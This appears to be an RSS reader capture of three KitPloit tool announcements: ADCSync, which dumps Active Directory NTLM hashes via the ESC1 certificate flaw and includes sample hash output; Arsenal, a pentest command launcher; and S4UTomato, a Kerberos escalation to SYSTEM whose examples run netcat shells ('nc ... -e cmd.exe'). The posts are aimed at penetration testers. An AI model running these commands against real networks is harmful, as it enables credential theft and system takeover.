FreshRSS

🔒
❌ Secure Planet Training Courses Updated For 2019 - Click Here
☷
△ 🔃
There are new available articles, click to refresh the page.
Before yesterdayKitPloit - PenTest Tools!

ADCSync - Use ESC1 To Perform A Makeshift DCSync And Dump Hashes

By: Zion3R


This is a tool I whipped up together quickly to DCSync utilizing ESC1. It is quite slow but otherwise an effective means of performing a makeshift DCSync attack without utilizing DRSUAPI or Volume Shadow Copy.


This is the first version of the tool and essentially just automates the process of running Certipy against every user in a domain. It still needs a lot of work and I plan on adding more features in the future for authentication methods and automating the process of finding a vulnerable template.

python3 adcsync.py -u clu -p theperfectsystem -ca THEGRID-KFLYNN-DC-CA -template SmartCard -target-ip 192.168.0.98 -dc-ip 192.168.0.98 -f users.json -o ntlm_dump.txt

    ___    ____  ___________
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/  |_/_____/\____//____/\__, /_/ /_/\___/
                         /____/

Grabbing user certs:
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [02:18<00:00,  1.32s/it]
THEGRID.LOCAL/shirlee.saraann::aad3b435b51404eeaad3b435b51404ee:68832255545152d843216ed7bbb2d09e:::
THEGRID.LOCAL/rosanne.nert::aad3b435b51404eeaad3b435b51404ee:a20821df366981f7110c07c7708f7ed2:::
THEGRID.LOCAL/edita.lauree::aad3b435b51404eeaad3b435b51404ee:b212294e06a0757547d66b78bb632d69:::
THEGRID.LOCAL/carol.elianore::aad3b435b51404eeaad3b435b51404ee:ed4603ce5a1c86b977dc049a77d2cc6f:::
THEGRID.LOCAL/astrid.lotte::aad3b435b51404eeaad3b435b51404ee:201789a1986f2a2894f7ac726ea12a0b:::
THEGRID.LOCAL/louise.hedvig::aad3b435b51404eeaad3b435b51404ee:edc599314b95cf5635eb132a1cb5f04d:::
THEGRID.LO   CAL/janelle.jess::aad3b435b51404eeaad3b435b51404ee:a7a1d8ae1867bb60d23e0b88342a6fab:::
THEGRID.LOCAL/marie-ann.kayle::aad3b435b51404eeaad3b435b51404ee:a55d86c4b2c2b2ae526a14e7e2cd259f:::
THEGRID.LOCAL/jeanie.isa::aad3b435b51404eeaad3b435b51404ee:61f8c2bf0dc57933a578aa2bc835f2e5:::

Introduction

ADCSync uses the ESC1 exploit to dump NTLM hashes from user accounts in an Active Directory environment. The tool will first grab every user and domain in the Bloodhound dump file passed in. Then it will use Certipy to make a request for each user and store their PFX file in the certificate directory. Finally, it will use Certipy to authenticate with the certificate and retrieve the NT hash for each user. This process is quite slow and can take a while to complete but offers an alternative way to dump NTLM hashes.

Installation

git clone https://github.com/JPG0mez/adcsync.git
cd adcsync
pip3 install -r requirements.txt

Usage

To use this tool we need the following things:

  1. Valid Domain Credentials
  2. A user list from a bloodhound dump that will be passed in.
  3. A template vulnerable to ESC1 (Found with Certipy find)
# python3 adcsync.py --help
    ___    ____  ___________                 
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__  
/_/  |_/_____/\____//____/\__, /_/ /_/\___/  
                         /____/              

Usage: adcsync.py [OPTIONS]

Options:
  -f, --file TEXT      Input User List JSON file from Bloodhound  [required]
  -o, --output TEXT    NTLM Hash Output file  [required]
  -ca TEXT             Certificate Authority  [required]
  -dc-ip TEXT          IP Address of Domain Controller  [required]
  -u, --user TEXT      Username  [required]
  -p, --password TEXT  Password  [required]
  -template TEXT       Template Name vulnerable to ESC1  [required]
  -target-ip TEXT      IP Address of th   e target machine  [required]
  --help               Show this message and exit.

TODO

  • Support alternative authentication methods such as NTLM hashes and ccache files
  • Automatically run "certipy find" to find and grab templates vulnerable to ESC1
  • Add jitter and sleep options to avoid detection
  • Add type validation for all variables

Acknowledgements

  • puzzlepeaches: Telling me to hurry up and write this
  • ly4k: For Certipy
  • WazeHell: For the script to set up the vulnerable AD environment used for testing


Arsenal - Just A Quick Inventory And Launcher For Hacking Programs

By: Zion3R


Arsenal is just a quick inventory, reminder and launcher for pentest commands.
This project written by pentesters for pentesters simplify the use of all the hard-to-remember commands



In arsenal you can search for a command, select one and it's prefilled directly in your terminal. This functionality is independent of the shell used. Indeed arsenal emulates real user input (with TTY arguments and IOCTL) so arsenal works with all shells and your commands will be in the history.

You have to enter arguments if needed, but arsenal supports global variables.
For example, during a pentest we can set the variable ip to prefill all commands using an ip with the right one.

To do that you just have to enter the following command in arsenal:

>set ip=10.10.10.10

Authors:

  • Guillaume Muh
  • mayfly

This project is inspired by navi (https://github.com/denisidoro/navi) because the original version was in bash and too hard to understand to add features

Arsenal new features

  • New colors
  • Add tmux new pane support (with -t)
  • Add default values in cheatsheets commands with <argument|default_value>
  • Support description inside cheatsheets
  • New categories and Tags
  • New cheatsheets
  • Add yml support (thx @0xswitch )
  • Add fzf support with ctrl+t (thx @mgp25)

Install & Launch

  • with pip :
python3 -m pip install arsenal-cli
  • run (we also advice you to add this alias : alias a='arsenal')
arsenal
  • manually:
git clone https://github.com/Orange-Cyberdefense/arsenal.git
cd arsenal
python3 -m pip install -r requirements.txt
./run

Inside your .bashrc or .zshrc add the path to run to help you do that you could launch the addalias.sh script

./addalias.sh
  • Also if you are an Arch user you can install from the AUR:
git clone https://aur.archlinux.org/arsenal.git
cd arsenal 
makepkg -si
  • Or with an AUR helper like yay:
yay -S arsenal

Launch in tmux mode

./run -t # if you launch arsenal in a tmux window with one pane, it will split the window and send the command to the otherpane without quitting arsenal
         # if the window is already splited the command will be send to the other pane without quitting arsenal
./run -t -e # just like the -t mode but with direct execution in the other pane without quitting arsenal

Add external cheatsheets

You could add your own cheatsheets insode the my_cheats folder or in the ~/.cheats folder.

You could also add additional paths to the file <arsenal_home>/arsenal/modules/config.py, arsenal reads .md (MarkDown) and .rst (RestructuredText).

Cheatsheets examples are in <arsenal_home>/cheats: README.md and README.rst

Troubleshooting

If you got on error on color init try :

export TERM='xterm-256color'

--

If you have the following exception when running Arsenal:

ImportError: cannot import name 'FullLoader'

First, check that requirements are installed:

pip install -r requirements.txt

If the exception is still there:

pip install -U PyYAML

Mindmap

https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg

  • AD mindmap black version 

  • Exchange Mindmap (thx to @snovvcrash) 

  • Active directory ACE mindmap 



TODO cheatsheets

reverse shell

  • msfvenom
  • php
  • python
  • perl
  • powershell
  • java
  • ruby

whitebox analysis grep regex

  • php
  • nodejs
  • hash

Tools

smb

  • enum4linux
  • smbmap
  • smbget
  • rpcclient
  • rpcinfo
  • nbtscan
  • impacket

kerberos & AD

  • impacket
  • bloodhound
  • rubeus
  • powerview
  • shadow credentials attack
  • samaccountname attack

MITM

  • mitm6
  • responder

Unserialize

  • ysoserial
  • ysoserial.net

bruteforce & pass cracking

  • hydra
  • hashcat
  • john

scan

  • nmap
  • eyewitness
  • gowitness

fuzz

  • gobuster
  • ffuf
  • wfuzz

DNS

  • dig
  • dnsrecon
  • dnsenum
  • sublist3r

rpc

  • rpcbind

netbios-ssn

  • snmpwalk
  • snmp-check
  • onesixtyone

sql

  • sqlmap

oracle

  • oscanner
  • sqlplus
  • tnscmd10g

mysql

  • mysql

nfs

  • showmount

rdp

  • xfreerdp
  • rdesktop
  • ncrack

mssql

  • sqsh

winrm

  • evilwinrm

redis

  • redis-cli

postgres

  • psql
  • pgdump

vnc

  • vncviewer

x11

  • xspy
  • xwd
  • xwininfo

ldap

  • ldapsearch

https

  • sslscan

web

  • burp
  • nikto
  • tplmap

app web

  • drupwn
  • wpscan
  • nuclei


S4UTomato - Escalate Service Account To LocalSystem Via Kerberos

By: Zion3R


Escalate Service Account To LocalSystem via Kerberos.

Traditional Potatoes

Friends familiar with the "Potato" series of privilege escalation should know that it can elevate service account privileges to local system privileges. The early exploitation techniques of "Potato" are almost identical: leveraging certain features of COM interfaces, deceiving the NT AUTHORITY\SYSTEM account to connect and authenticate to an attacker-controlled RPC server. Then, through a series of API calls, an intermediary (NTLM Relay) attack is executed during this authentication process, resulting in the generation of an access token for the NT AUTHORITY\SYSTEM account on the local system. Finally, this token is stolen, and the CreatePr ocessWithToken() or CreateProcessAsUser() function is used to pass the token and create a new process to obtain SYSTEM privileges.


How About Kerberos

In any scenario where a machine is joined to a domain, you can leverage the aforementioned techniques for local privilege escalation as long as you can run code under the context of a Windows service account or a Microsoft virtual account, provided that the Active Directory hasn't been hardened to fully defend against such attacks.

In a Windows domain environment, SYSTEM, NT AUTHORITY\NETWORK SERVICE, and Microsoft virtual accounts are used for authentication by system computer accounts that are joined to the domain. Understanding this is crucial because in modern versions of Windows, most Windows services run by default using Microsoft virtual accounts. Notably, IIS and MSSQL use these virtual accounts, and I believe other applications might also employ them. Therefore, we can abuse the S4U extension to obtain the service ticket for the domain administrator account "Administrator" on the local machine. Then, with the help of James Forshaw (@tiraniddo)'s SCMUACBypass, we can use that ticket to create a system service and ga in SYSTEM privileges. This achieves the same effect as traditional methods used in the "Potato" family of privilege escalation techniques.

Before this, we need to obtain a TGT (Ticket Granting Ticket) for the local machine account. This is not easy because of the restrictions imposed by service account permissions, preventing us from obtaining the computer's Long-term Key and thus being unable to construct a KRB_AS_REQ request. To accomplish the aforementioned goal, I leveraged three techniques: Resource-based Constrained Delegation, Shadow Credentials, and Tgtdeleg. I built my project based on the Rubeus toolset.

How to Use and Examples

domain controller or LDAP server. -m, --ComputerName The new computer account to create. -p, --ComputerPassword The password of the new computer account to be created. -f, --Force Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer object. -c, --Command Program to run. -v, --Verbose Output verbose debug information. --help Display this help screen. --version Display version information." dir="auto">
C:\Users\whoami\Desktop>S4UTomato.exe --help

S4UTomato 1.0.0-beta
Copyright (c) 2023

  -d, --Domain              Domain (FQDN) to authenticate to.
  -s, --Server              Host name of domain controller or LDAP server.
  -m, --ComputerName        The new computer account to create.
  -p, --ComputerPassword    The password of the new computer account to be created.
  -f, --Force               Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
                            object.
  -c, --Command             Program to run.
  -v, --Verbose             Output verbose debug information.
  --help                    Display this help screen.
  --version                 Display version information.

LEP via Resource-based Constrained Delegation

S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

LEP via Shadow Credentials + S4U2self

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

LEP via Tgtdeleg + S4U2self

# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"



❌